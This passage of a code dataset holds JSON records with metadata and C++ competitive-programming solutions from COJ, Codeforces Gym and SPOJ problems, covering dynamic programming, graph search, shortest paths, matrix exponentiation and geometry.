pi);\r\n\t\tfor (int mask = 1; mask < (1 << s); mask++)\r\n\t\t\tfor (int i = 0; i < s; i++)\r\n\t\t\t\tif (mask & (1 << i))\r\n\t\t\t\t\tfor (int j = 0; j < s; j++)\r\n\t\t\t\t\t\tif (!(mask & (1 << j)))\r\n\t\t\t\t\t\t\tmini(dp[mask][i] + dist(pts[i], pts[j]), dp[mask | (1 << j)][j]);\r\n\r\n\t\tint sol = 1 << 29;\r\n\t\tfor (int i = 0; i < s; i++)\r\n\t\t\tmini(dp[(1 << s) - 1][i] + dist(pts[i], pi), sol);\r\n\t\tcout << \"Case \" << c << \": \";\r\n\t\tif (sol == 1 << 29) cout << \"0\\n\";\r\n\t\telse cout << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4126984179019928, "alphanum_fraction": 0.4486772418022156, "avg_line_length": 19.477272033691406, "blob_id": "56c0da33817bfbc72e58776f9b25818583344011", "content_id": "6a40483feb305a29362146a136df72c19d316c1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 945, "license_type": "no_license", "max_line_length": 62, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p2939-Accepted-s652133.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cstring>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 20005;\r\n\r\nint tc, dig[MAXN];\r\nchar str[MAXN];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tfor (int i = 0; i < MAXN; i++) dig[i] = 0;\r\n\t\tscanf(\"%s\", str);\r\n\t\tint lo = 0, hi = strlen(str);\r\n\t\tfor (int i = 0; i < hi; i++) dig[i] = str[hi - 1 - i] - '0';\r\n\t\tint cero = 0, uno = 0;\r\n\t\twhile (true) {\r\n\t\t\tif (lo == hi) break;\r\n\t\t\tint carry = 0, aux = dig[lo];\r\n\t\t\tfor (int i = lo + 1; i < hi; i++) {\r\n\t\t\t\tcarry += 5 * dig[i];\r\n\t\t\t\tdig[i] = carry % 10;\r\n\t\t\t\tcarry /= 10;\r\n\t\t\t}\r\n\t\t\twhile (carry) {\r\n\t\t\t\tdig[hi++] = carry % 10;\r\n\t\t\t\tcarry /= 10;\r\n\t\t\t}\r\n\t\t\tif (dig[lo] & 1) uno = 1;\r\n\t\t\telse cero = 1;\r\n\t\t\tif (cero && uno) break;\r\n\t\t\tcarry = dig[lo++] / 2;\r\n\t\t\tfor (int i = lo; carry; carry /= 10) {\r\n\t\t\t\tcarry += dig[i];\r\n\t\t\t\tdig[i] = carry % 10;\r\n\t\t\t\tif (i + 1 > hi) hi = i + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (cero && uno) printf(\"YES\\n\");\r\n\t\telse printf(\"NO\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32777777314186096, "alphanum_fraction": 0.3722222149372101, "avg_line_length": 10.857142448425293, "blob_id": "ac3cc5c893aef44b2208798f9f4d080194a29a72", "content_id": "68a1d2112a5e719b107ac70f89b74ed7f159e497", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 180, "license_type": "no_license", "max_line_length": 28, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1023-Accepted-s486442.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nfloat a,x;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=12; i++)\r\n {\r\n scanf(\"%f\",&x);\r\n a+=x;\r\n }\r\n printf(\"$%.2f\",a/12.0);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3656249940395355, "alphanum_fraction": 0.4000000059604645, "avg_line_length": 14.483870506286621, "blob_id": "15129a30e0f8a47ae911342c523b850ff26c5b82", "content_id": "28756fcfbd44c9c260649abcf044d7a784da384f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 960, "license_type": "no_license", "max_line_length": 39, "num_lines": 62, "path": "/Codeforces-Gym/100719 - 2014-2015 CTU Open Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CTU Open Contest\n// 100719C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t, n, a[105], b[105];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> b[i];\n\t\t}\n\t\tint mx = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = 0; j < n; j++) {\n\t\t\t\tmx += min(a[i], b[j]);\n\t\t\t}\n\t\t}\n\t\tsort(a, a + n);\n\t\tsort(b, b + n);\n\t\tint mn = 0;\n\t\tint pa = n - 1;\n\t\tint pb = n - 1;\n\t\twhile (pa >= 0 && pb >= 0) {\n\t\t\tif (a[pa] == b[pb]) {\n\t\t\t\tmn += a[pa];\n\t\t\t\tpa--;\n\t\t\t\tpb--;\n\t\t\t} else {\n\t\t\t\tif (a[pa] > b[pb]) {\n\t\t\t\t\tmn += a[pa];\n\t\t\t\t\tpa--;\n\t\t\t\t} else {\n\t\t\t\t\tmn += b[pb];\n\t\t\t\t\tpb--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\twhile (pa >= 0) {\n\t\t\tmn += a[pa];\n\t\t\tpa--;\n\t\t}\n\t\twhile (pb >= 0) {\n\t\t\tmn += b[pb];\n\t\t\tpb--;\n\t\t}\n\t\tcout << \"Minimalni budova obsahuje \";\n\t\tcout << mn;\n\t\tcout << \" kostek, maximalni \";\n\t\tcout << mx;\n\t\tcout << \" kostek.\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3942786157131195, "alphanum_fraction": 0.41791045665740967, "avg_line_length": 14.75, "blob_id": "60ed807ab3eda38d65ac2828cc1b99f5e53c24c9", "content_id": "6085fd1768bc5b4dfea42f492ab530716d3b0aa8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 804, "license_type": "no_license", "max_line_length": 40, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p3622-Accepted-s940086.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nint n, m;\r\nvector <int> g[N];\r\nint depth[N];\r\nbool ok = true;\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\tdepth[u] = d;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (depth[v] == -1) {\r\n\t\t\tdfs(v, u, d + 1);\r\n\t\t} else if (depth[v] < depth[u]) {\r\n\t\t\tif ((depth[u] - depth[v] + 1) % 3) {\r\n\t\t\t\tok = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m;\r\n\twhile (m--) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tg[x].push_back(y);\r\n\t\tg[y].push_back(x);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdepth[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (depth[i] == -1) {\r\n\t\t\tdfs(i, -1, 0);\r\n\t\t}\r\n\t}\r\n\tcout << (ok ? \"yes\" : \"no\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3877550959587097, "alphanum_fraction": 0.39650145173072815, "avg_line_length": 18.176469802856445, "blob_id": "8d476aeac71b0cb47a6616cc61a03a9ed419654e", "content_id": "f536fe8c2411fb8738f79aec8aee9a50b6d899b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1029, "license_type": "no_license", "max_line_length": 73, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p3786-Accepted-s1120095.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint a, c, m, x, q, n;\r\n\twhile (cin >> a >> c >> m >> x >> q >> n) {\r\n\t\tvector <int> f(m);\r\n\t\tif (n <= m) {\r\n\t\t\tf[x]++;\r\n\t\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\t\tx = (a * x + c) % m;\r\n\t\t\t\tf[x]++;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tvector <int> depth(m, -1);\r\n\t\t\tint curDepth = 0;\r\n\t\t\twhile (depth[x] == -1) {\r\n\t\t\t\tf[x]++;\r\n\t\t\t\tn--;\r\n\t\t\t\tdepth[x] = curDepth++;\r\n\t\t\t\tx = (a * x + c) % m;\r\n\t\t\t}\r\n\t\t\tint cycleStart = x;\r\n\t\t\tint cycleLength = curDepth - depth[cycleStart];\r\n\t\t\tint cnt = n / cycleLength;\r\n\t\t\tint cx = x;\r\n\t\t\tfor (int i = 0; i < cycleLength; i++) {\r\n\t\t\t\tf[cx] += cnt;\r\n\t\t\t\tcx = (a * cx + c) % m;\r\n\t\t\t}\r\n\t\t\tassert(cx == x);\r\n\t\t\tn %= cycleLength;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tf[cx]++;\r\n\t\t\t\tcx = (a * cx + c) % m;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i < m; i++) {\r\n\t\t\tf[i] += f[i - 1];\r\n\t\t}\r\n\t\twhile (q--) {\r\n\t\t\tint p;\r\n\t\t\tcin >> p;\r\n\t\t\tcout << (int)(lower_bound(f.begin(), f.end(), p) - f.begin()) << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4577464759349823, "alphanum_fraction": 0.48591548204421997, "avg_line_length": 19.299999237060547, "blob_id": "ea49982e9c2cf100ff5cc7dd4648cc7280e69839", "content_id": "c85673dec2c110d43f690012cabfd8b7cd4a1b6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 426, "license_type": "no_license", "max_line_length": 52, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2550-Accepted-s597441.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000010;\r\n\r\nint c, n, arr[MAXN], sol;\r\n\r\nint main() {\r\n\tfor (scanf(\"%d\", &c); c--;) {\r\n\t\tscanf(\"%d\", &n);\r\n\t\tsol = 0;\r\n\t\tfor (int i = 1; i <= n; i++) scanf(\"%d\", arr + i);\r\n\t\tsort(arr + 1, arr + 1 + n, greater<int>());\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tif (arr[i] >= i) sol = max(sol, i);\r\n\t\tprintf(\"%d\\n\", sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4199052155017853, "alphanum_fraction": 0.4777251183986664, "avg_line_length": 21.4255313873291, "blob_id": "d62ea12d2250c1d56bb7098a3a7d67fa6f651d2e", "content_id": "54d2b6fccc504d884eab89653e7b7262a15c8dd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1055, "license_type": "no_license", "max_line_length": 121, "num_lines": 47, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst double EPS = 1e-5;\nint d,e,f;\ndouble s, m, p;\n\nint check( double x ){\n// cout << x << endl;\n double a = 0.0, b = 0.0, accb = 0.0;\n for( int i = 1; i<= m; i++ ){\n a = (s-accb)*p/100;\n b = ( x - a );\n accb += b;\n if( abs( accb-s ) < EPS || accb-EPS > s ){\n return 1;\n }\n }\n return 0;\n}\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout );\n\tcin >> d >> e >> f;\n s =d; m = e; p = f;\n\tdouble ini = 0.0, fin = s+s;\n\n\tfor(int i = 1; i <= 500; ++i ){\n double mid = (ini+fin)/(double)2.0;\n\n int v = check(mid);\n if( v ){\n fin = mid;\n }\n else\n ini = mid;\n\t}\n\tcout.precision(10);\n\t//cout << fixed <<(90.000 - ini) <<endl;\n cout << fixed << (ini+fin)/(double)2.0 << '\\n';\n}\n\n" }, { "alpha_fraction": 0.3846949338912964, "alphanum_fraction": 0.4105480909347534, "avg_line_length": 17.73469352722168, "blob_id": "cc00a8d411addbdef31b7c94e6624c11f39c4087", "content_id": "73f92feb49016369a8b9590ae8aa888805da1265", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 967, "license_type": "no_license", "max_line_length": 48, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3165-Accepted-s784737.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, x[5005], y[5005];\r\nset<pair<int, int> > S;\r\nset<pair<int, int> >::iterator it;\r\n\r\n// (x, y) rota 90 hacia la derecha -> (y, -x)\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tbool ok = false;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\tif (ok) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tint dx = x[i] - x[j];\r\n\t\t\tint dy = y[i] - y[j];\r\n\t\t\tif (dx == 0 && dy == 0) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint g = __gcd(abs(dx), abs(dy));\r\n\t\t\tdx /= g;\r\n\t\t\tdy /= g;\r\n\t\t\tif (dx < 0 || (dx == 0 && dy < 0)) {\r\n\t\t\t\tdx *= -1;\r\n\t\t\t\tdy *= -1;\r\n\t\t\t}\r\n\t\t\tint ndx = dy;\r\n\t\t\tint ndy = -dx;\r\n\t\t\tif (ndx < 0 || (ndx == 0 && ndy < 0)) {\r\n\t\t\t\tndx *= -1;\r\n\t\t\t\tndy *= -1;\r\n\t\t\t}\r\n\t\t\tif (S.find(make_pair(ndx, ndy)) != S.end()) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tS.insert(make_pair(dx, dy));\r\n\t\t}\r\n\t}\r\n\tcout << (ok ? \"YES\" : \"NO\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4071229100227356, "alphanum_fraction": 0.44413408637046814, "avg_line_length": 15.272727012634277, "blob_id": "311b0b237e9b34390d31fa433069507c15a79d35", "content_id": "e28f64c9a91d5c76c7f1becceff91ea430842e4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1432, "license_type": "no_license", "max_line_length": 54, "num_lines": 88, "path": "/SPOJ/FIBOSUM.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int SIZE = 3;\n \ntypedef long long ll;\n \nconst ll mod = 1e9 + 7;\n \nstruct matrix {\n\tll m[SIZE + 1][SIZE + 1];\n\tll * operator [] (int x) {\n\t\treturn m[x];\n\t}\n\tconst ll * operator [] (const int x) const {\n\t\treturn m[x];\n\t}\n\tvoid O() {\n\t\tfor (int i = 0; i < SIZE; i++) {\n\t\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\t\tm[i][j] = 0;\n\t\t\t}\n\t\t}\n\t}\n\tvoid I() {\n\t\tfor (int i = 0; i < SIZE; i++) {\n\t\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\t\tm[i][j] = (i == j);\n\t\t\t}\n\t\t}\n\t}\n};\n \nmatrix operator * (const matrix &a, const matrix &b) {\n\tmatrix res;\n\tres.O();\n\tfor (int i = 0; i < SIZE; i++) {\n\t\tfor (int j = 0; j < SIZE; j++) {\n\t\t\tfor (int k = 0; k < SIZE; k++) {\n\t\t\t\tres[i][j] += (a[i][k] * b[k][j]) % mod;\n\t\t\t\tres[i][j] %= mod;\n\t\t\t}\n\t\t}\n\t}\n\treturn res;\n}\n \nmatrix power(matrix x, ll n) {\n\tmatrix res;\n\tres.I();\n\twhile (n) {\n\t\tif (n & 1LL) {\n\t\t\tres = res * x;\n\t\t}\n\t\tx = x * x;\n\t\tn >>= 1LL;\n\t}\n\treturn res;\n}\n \nint t, n, m;\nmatrix a, b;\n \ninline ll calc(int p) {\n\tif (p <= 0) {\n\t\treturn 0;\n\t}\n\tif (p == 1) {\n\t\treturn 1;\n\t}\n\tb = power(a, p - 1);\n\treturn (b[0][0] + b[1][0]) % mod;\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(false);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\ta[0][0] = 1; a[0][1] = 0; a[0][2] = 0;\n\ta[1][0] = 1; a[1][1] = 1; a[1][2] = 1;\n\ta[2][0] = 1; a[2][1] = 1; a[2][2] = 0;\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> m;\n\t\tcout << (calc(m) - calc(n - 1) + mod) % mod << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.39589041471481323, "alphanum_fraction": 0.4146118760108948, "avg_line_length": 18.679244995117188, "blob_id": "2915decb723c29f367fa6078c93f8f09dc5ea1f6", "content_id": "5518c777f8586dcde6c75ac2caf0520be50591f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2190, "license_type": "no_license", "max_line_length": 83, "num_lines": 106, "path": "/COJ/eliogovea-cojAC/eliogovea-p2912-Accepted-s1129130.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nstruct point {\r\n\tLL x, y;\r\n\tpoint() {}\r\n\tpoint(LL _x, LL _y) : x(_x), y(_y) {}\r\n};\r\n\r\npoint operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\ninline LL cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\ninline double dist(const point &P, const point &Q) {\r\n\tdouble dx = P.x - Q.x;\r\n\tdouble dy = P.y - Q.y;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\t\r\n\tint n, m;\r\n\tcin >> n >> m;\r\n\t\r\n\tvector <point> a(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i].x >> a[i].y;\r\n\t}\r\n\t\r\n\treverse(a.begin(), a.end());\r\n\t\r\n\tvector <point> b(m);\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> b[i].x >> b[i].y;\r\n\t}\r\n\t\r\n\tif (m == 0) {\r\n\t\tdouble answer = 1e17;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\t\tfor (int k = j + 1; k < n; k++) {\r\n\t\t\t\t\tif (cross(a[j] - a[i], a[k] - a[i]) != 0) {\r\n\t\t\t\t\t\tanswer = min(answer, dist(a[i], a[j]) + dist(a[j], a[k]) + dist(a[k], a[i]));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << fixed << answer << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\tvector <point> c(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tc[i] = b[0];\r\n\t\tfor (int j = 1; j < m; j++) {\r\n\t\t\tif (cross(b[j] - a[i], c[i] - a[i]) > 0) {\r\n\t\t\t\tc[i] = b[j];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tvector <vector <double> > graph(n, vector <double> (n, 1e17));\r\n\t\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tgraph[i][i] = 0.0;\r\n\t}\r\n\t\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint j = i + 1 == n ? 0 : i + 1;\r\n\t\twhile (cross(a[j] - a[i], c[i] - a[i]) > 0) {\r\n\t\t\tgraph[i][j] = dist(a[i], a[j]);\r\n\t\t\tj = j + 1 == n ? 0 : j + 1;\r\n\t\t}\r\n\t}\r\n\t\r\n\tfor (int k = 0; k < n; k++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tgraph[i][j] = min(graph[i][j], graph[i][k] + graph[k][j]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tdouble answer = 1e17;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\tfor (int k = j + 1; k < n; k++) {\r\n\t\t\t\tif (cross(a[j] - a[i], a[k] - a[i]) != 0) {\r\n\t\t\t\t\tanswer = min(answer, graph[i][j] + graph[j][k] + graph[k][i]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tcout << fixed << answer << \"\\n\";\r\n}" }, { "alpha_fraction": 0.40544041991233826, "alphanum_fraction": 0.43264248967170715, "avg_line_length": 15.545454978942871, "blob_id": "4cfa8a7e38ee99d1fcd32a8397614022bf603504", "content_id": "84cf966fbd87231fc61c22d3b5c95e099ab4b1a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 772, "license_type": "no_license", "max_line_length": 69, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p1262-Accepted-s551431.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\n#include<cmath>\r\n#include<algorithm>\r\n#define MAXN 1010\r\nusing namespace std;\r\n\r\nint n;\r\ndouble c[MAXN],area,r,angle;\r\nchar sol[MAXN];\r\n\r\nint main()\r\n{\r\n scanf(\"%d%lf\",&n,&r);\r\n\r\n for(int i=0; i<n; i++)\r\n scanf(\"%lf\",&c[i]);\r\n\r\n sort(c,c+n);\r\n\r\n area=M_PI*r*r;\r\n\r\n for(int i=1; i<n; i++)\r\n {\r\n if(c[i-1]+2.0*r<=c[i])area+=M_PI*r*r;\r\n\r\n else\r\n {\r\n angle = acos((c[i]-c[i-1])/(2.0*r));\r\n area+= M_PI*r*r-2.0*r*r*angle+(c[i]-c[i-1])*r*sin(angle);\r\n }\r\n }\r\n\r\n sprintf(sol, \"%.10lf\", area);\r\n\r\n\tint cant=0;\r\n for(int i=0; cant<=6; i++)\r\n {\r\n char c=sol[i];\r\n if(c=='.')cant=1;\r\n if(cant)cant++;\r\n printf(\"%c\",c);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3435419499874115, "alphanum_fraction": 0.366178423166275, "avg_line_length": 20.75757598876953, "blob_id": "77bca4e3eb1c52a6a447f440f4e7f6d1b9f1cae7", "content_id": "fb2d683c30f4c35ad90a8deadcdd258ee32a5462", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 751, "license_type": "no_license", "max_line_length": 57, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2714-Accepted-s579439.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 110;\r\n\r\nint t, n, m, q, G[MAXN][MAXN], a, b, c;\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &t); t--;)\r\n\t{\r\n\t\tscanf(\"%d%d\", &n, &m);\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tfor (int j = 1; j <= n; j++)\r\n\t\t\t\tG[i][j] = G[j][i] = (i == j) ? 0 : 1 << 29;\r\n\t\tfor (int i = 1; i <= m; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\t\tG[a][b] = G[b][a] = min(G[a][b], c);\r\n\t\t}\r\n\t\tfor (int k = 1; k <= n; k++)\r\n\t\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\t\tfor (int j = 1; j <= n; j++)\r\n\t\t\t\t\tG[i][j] = G[j][i] = min(G[i][j], G[i][k] + G[k][j]);\r\n\t\tfor (scanf(\"%d\", &q); q--;)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tprintf(\"%d\\n\", (G[a][b] == 1 << 29) ? -1 : G[a][b]);\r\n\t\t}\r\n\t\tif(t) printf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37300434708595276, "alphanum_fraction": 0.4354136288166046, "avg_line_length": 19.878787994384766, "blob_id": "445cc3f8081fa5b3b2282d03b49341f416686b7b", "content_id": "6466b3cbe64b3ea088d68d1623f6f11badfeaddf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 689, "license_type": "no_license", "max_line_length": 101, "num_lines": 33, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint k;\nstring s;\nmap <int, int> last;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> k >> s;\n int ans1 = 0;\n int ans2 = 0;\n for (int i = 0; i < s.size(); i++) {\n if (s[i] == '1') {\n int r = i % k;\n if (last.find(r) != last.end()) {\n ans1 = last[r] + 1;\n ans2 = i + 1;\n break;\n }\n last[(r + 1) % k] = i;\n }\n }\n cout << ans1 << \" \" << ans2 << \"\\n\";\n}\n" }, { "alpha_fraction": 0.36157336831092834, "alphanum_fraction": 0.3827534019947052, "avg_line_length": 19.23469352722168, "blob_id": "f6cc83c8325a6a1c664bf2c7dd8335c76946189f", "content_id": "ca11c5bf676a899631c9ffa2b1db8b37f3e92429", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1983, "license_type": "no_license", "max_line_length": 68, "num_lines": 98, "path": "/Codeforces-Gym/100699 - Stanford ProCo 2015/N7.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Stanford ProCo 2015\n// 100699N7\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst int N = 2005;\n\nstruct pt {\n LL x, y;\n};\n\nbool operator < (const pt &a, const pt &b) {\n if (a.x != b.x) return a.x < b.x;\n return a.y < b.y;\n}\n\nbool operator == (const pt &a, const pt &b) {\n return (a.x == b.x && a.y == b.y);\n}\n\nint n;\npt pts[N];\n\nstruct rt {\n LL a, b, c;\n};\n\nbool operator < (const rt &a, const rt &b) {\n if (a.a != b.a) return a.a < b.a;\n if (a.b != b.b) return a.b < b.b;\n return a.c < b.c;\n}\n\nbool operator == (const rt &a, const rt &b) {\n return (a.a == b.a && a.b == b.b && a.c == b.c);\n}\n\ninline rt get(pt p1, pt p2) {\n LL dx = p1.x - p2.x;\n LL dy = p1.y - p2.y;\n LL a = -dy;\n LL b = dx;\n LL c = dx * p1.y - dy * p1.x;\n LL g = __gcd(abs(a), __gcd(abs(b), abs(c)));\n a /= g; b /= g; c /= g;\n if (a < 0) {\n a = -a; b = -b; c = -c;\n } else if (a == 0) {\n if (b < 0) {\n b = -b; c = -c;\n } else if (b == 0) {\n if (a < 0) {\n a = -a;\n }\n }\n }\n return (rt) {a, b, c};\n}\n\nint t;\npair<pt, rt> v[N * N];\n\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> n;\n for (int i = 0; i < n; i++) {\n cin >> pts[i].x >> pts[i].y;\n }\n LL ans = 0;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n if (i == j) continue;\n LL dx = pts[j].x - pts[i].x;\n LL dy = pts[j].y - pts[i].y;\n rt r = get(pts[i], (pt) {pts[i].x - dy, pts[i].y + dx});\n v[t++] = make_pair((pt) {dx, dy}, r);\n }\n }\n sort(v, v + t);\n int l = 0;\n int r = 1;\n while (r < t) {\n if (!(v[l] == 